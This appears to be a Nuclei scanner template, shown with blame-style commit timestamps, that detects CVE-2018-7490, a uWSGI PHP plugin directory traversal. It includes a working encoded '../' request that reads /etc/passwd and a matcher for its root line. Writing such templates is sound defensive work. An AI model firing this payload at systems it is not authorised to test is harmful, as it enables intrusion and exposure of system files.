2021-01-02 05:00:39 +00:00
|
|
|
id: CVE-2018-7490
|
2020-04-08 11:54:50 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: uWSGI PHP Plugin Directory Traversal
|
|
|
|
author: madrobot
|
|
|
|
severity: high
|
2021-03-18 07:54:36 +00:00
|
|
|
tags: cve,cve2018,uwsgi,php,lfi
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.50
|
|
|
|
cve-id: CVE-2018-7490
|
|
|
|
cwe-id: CWE-22
|
|
|
|
description: "uWSGI before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, allowing directory traversal."
|
|
|
|
reference:
|
|
|
|
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
|
|
|
|
- https://www.exploit-db.com/exploits/44223/
|
|
|
|
- https://www.debian.org/security/2018/dsa-4142
|
2020-04-08 11:54:50 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
2021-03-18 07:54:36 +00:00
|
|
|
|
2020-07-08 11:38:57 +00:00
|
|
|
matchers-condition: and
|
2020-04-08 11:54:50 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-25 07:49:06 +00:00
|
|
|
- 200
|
2020-04-08 11:54:50 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-04-08 11:54:50 +00:00
|
|
|
part: body
|